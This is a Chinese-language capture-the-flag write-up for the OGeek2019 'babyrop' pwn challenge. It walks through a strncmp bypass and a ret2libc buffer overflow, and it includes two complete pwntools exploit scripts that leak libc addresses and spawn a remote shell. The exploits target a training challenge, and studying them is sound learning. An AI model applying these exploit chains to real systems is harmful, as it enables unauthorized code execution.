可以看出,没有开什么特别的保护
什么是plt,gpt,自己回顾一下
hex( elf.plt['puts'])
.plt.got:08048548 FF 25 D4 9F 04 08 jmp ds:puts_ptr
hex(elf.got['puts'])
.got:08049FD4 6C A0 04 08 puts_ptr dd offset __imp_puts ; DATA XREF: puts↑r
*(got['puts'])
extern:0804A06C 00 00 00 00 extrn __imp_puts:near ; CODE XREF: puts↑j
所以libc版本泄漏 是通过*(got['puts'])
也就是输出got['puts']指向的内容
进入main函数
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
init__();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = check(buf);
last_func(v2);
return 0;
}
check函数就是验证我们输入的数值和随机值是否相等
然后也没有什么可以缓冲区溢出的
int __cdecl check(int rand_num)
{
size_t len_input; // eax
char rand_string[32]; // [esp+Ch] [ebp-4Ch] BYREF
char input[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t len; // [esp+4Ch] [ebp-Ch]
memset(rand_string, 0, sizeof(rand_string));
memset(input, 0, sizeof(input));
sprintf(rand_string, "%ld", rand_num);
len = read(0, input, 32u); // 实际写入的字节数,而不是长度
input[len - 1] = 0;
len_input = strlen(input);
if ( strncmp(input, rand_string, len_input) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)input[7];
}
但是strncmp()很奇怪
当比较的长度是0的时候,函数无脑返回0
所以这便是绕过strncmp的依据
然后看一下lastfunc
ssize_t __cdecl last_func(char input7)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( input7 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, input7);
}
默认的长度0xC8不满足溢出的条件
所以只能从input[7]入手
也就是我们输入的input[7]能够自定义输入的最大长度
当input[7]=0xff 会被扩展为4字节的有符号0xffffffff
然后我们能输入的长度就没有了限制
然后这个题目的攻击点是lib版本泄露
我要干的事情就是
last_func返回时去往puts,传入参数elf.got['puts'],.它就会打印出真实的puts地址
然后接收数据,计算出system和str_bin_sh
然后puts返回时去往last_func
对last_func再次输入system和str_bin_sh溢出
last_func返回时就去往system
payload1
我们先绕过check函数的strncmp,然后写入input[7]=0xff
#第一次绕过
payload = b'\0'+b'\xff'*7 # 长度为0会绕过strcmp 0x7f会导致后面read截断,所以写入0xff
p.sendline(payload)
p.recvuntil('Correct\n')#然后压入puts相关参数d的
payload2
利用缓冲区溢出去往puts函数,传入参数是elf.got['puts'],
同时接送输出的数据,然后计算 system,str_bin_sh
puts函数最后重新返回到last_func,注意再次进入last_func时,参数还是0xffffffff
然后再次利用缓冲区漏洞去往system
last_func = 0x080487D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']
payload = b'a'*(0xE7+4) # lastfunc溢出到返回地址
payload+=p32(puts_plt) # 进入 puts 函数
payload+=p32(last_func) # puts的返回地址
payload+=p32(puts_got) # puts函数的参数
#当puts函数返回,进入last_func,此刻esp指向了p32(puts_got),此刻它的作用就是返回地址的占位
payload+=b'\xff'* 4 #这个作为再次进入last_func的函数参数,方便我们缓冲区溢出
#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
接受到数据后做一个地址的运算
#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
puts_addr = u32(p.recv(4))
#获取libc版本,做一个信息的运算处理
cur_libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - cur_libc.dump('puts')# 获取那个那个libc的imagebase
system_addr = libcbase + cur_libc.dump('system')
bin_sh = libcbase + cur_libc.dump('str_bin_sh')
再次进入last_func,发送我们要溢出的数据
#缓冲区溢出漏洞
payload = b'\0'*(0xE7+4)
payload+=p32(system_addr)# call
payload+=p32(0)#返回地址的一个占位填充
payload+=p32(bin_sh)#参数
p.sendline(payload)
p.interactive()
完整的exp
from pwn import *
from LibcSearcher import *
if 1:
host='node4.buuoj.cn'
port=28272
else:
host='127.0.0.1'
port=12345
context.log_level='debug'
p = remote(host,port)
#p = process('./pwn')
elf = ELF("./pwn")
#第一次绕过
payload = b'\0'+b'\xff'*7 # 长度为0会绕过strcmp 0x7f会导致后面read截断,所以写入0xff
p.sendline(payload)
p.recvuntil('Correct\n')#然后压入puts相关参数d的
last_func = 0x080487D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']
payload = b'a'*(0xE7+4) #溢出到返回地址
payload+=p32(puts_plt) # ret变为了call puts
payload+=p32(last_func) # puts的返回地址,返回到last,再次利用缓冲区溢出楼漏洞
payload+=p32(puts_got) #压入参数puts的plt, 这个地址同时还作为我们第二次进入last的时候,返回ip的一个占位参数
payload+=b'\xff'* 4
#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
#puts_addr = u64(r.recvuntil('\n', drop=True).ljust(8,'\x00'))
#puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
#print(hex(puts_addr))
#获取libc版本,做一个信息的运算处理
cur_libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - cur_libc.dump('puts')# 获取那个那个libc的imagebase
system_addr = libcbase + cur_libc.dump('system')
bin_sh = libcbase + cur_libc.dump('str_bin_sh')
#缓冲区溢出漏洞
payload = b'\0'*(0xE7+4)
payload+=p32(system_addr)# call
payload+=p32(0)#返回地址的padding
payload+=p32(bin_sh)#参数
p.sendline(payload)
p.interactive()
这个exp本地可以打通
但是远程就g
无论怎么选择libc版本号,都打不通
然后去网站搜索libc的版本号,反正就是搜不到(可能自己不会吧)
https://libc.blukat.me/
网上有个大佬的exp,就像上帝一样
直接看穿远程libc的信息
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')
pwnfile = "./pwn"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28272
p = remote(host, port)
payload = b'\x00' + b'\xFF'* 7
p.sendline(payload)
p.recv()
write_jmp = elf.plt['write']# jmp 到
write_IAT = elf.got['write']
main_addr = 0x8048825
org_write=0xD43C0
org_system=0x3A940
org_bin_sh=0x15902B
payload = b'\0'*(0xe7+4)
payload += p32(write_jmp)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_IAT)
payload += p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher("write", write_addr)
base = write_addr - org_write # 真实的 - 原有的
print(hex(base))
libc_system = base + org_system
bin_sh = base + org_bin_sh
payload = b'\x00' + b'\xFF'* 7
#gdb.attach(io)
#pause()
p.sendline(payload)
p.recv()
payload = b'A'*(0xe7+4) + p32(libc_system) + p32(0) + p32(bin_sh)
p.sendline(payload)
p.interactive()
可以看到它直接把地址写死了
org_write=0xD43C0
org_system=0x3A940
org_bin_sh=0x15902B
woc,这些数据是怎么获取的,不应该呀
于是我去网上搜索对应的libc版本号,还是不对
反正大佬的exp可以打通
我的就不行,我的只能本地打通
标签:babyrop,addr,puts,libc,write,p32,pwn,OGeek2019,payload From: https://www.cnblogs.com/re4mile/p/17297466.html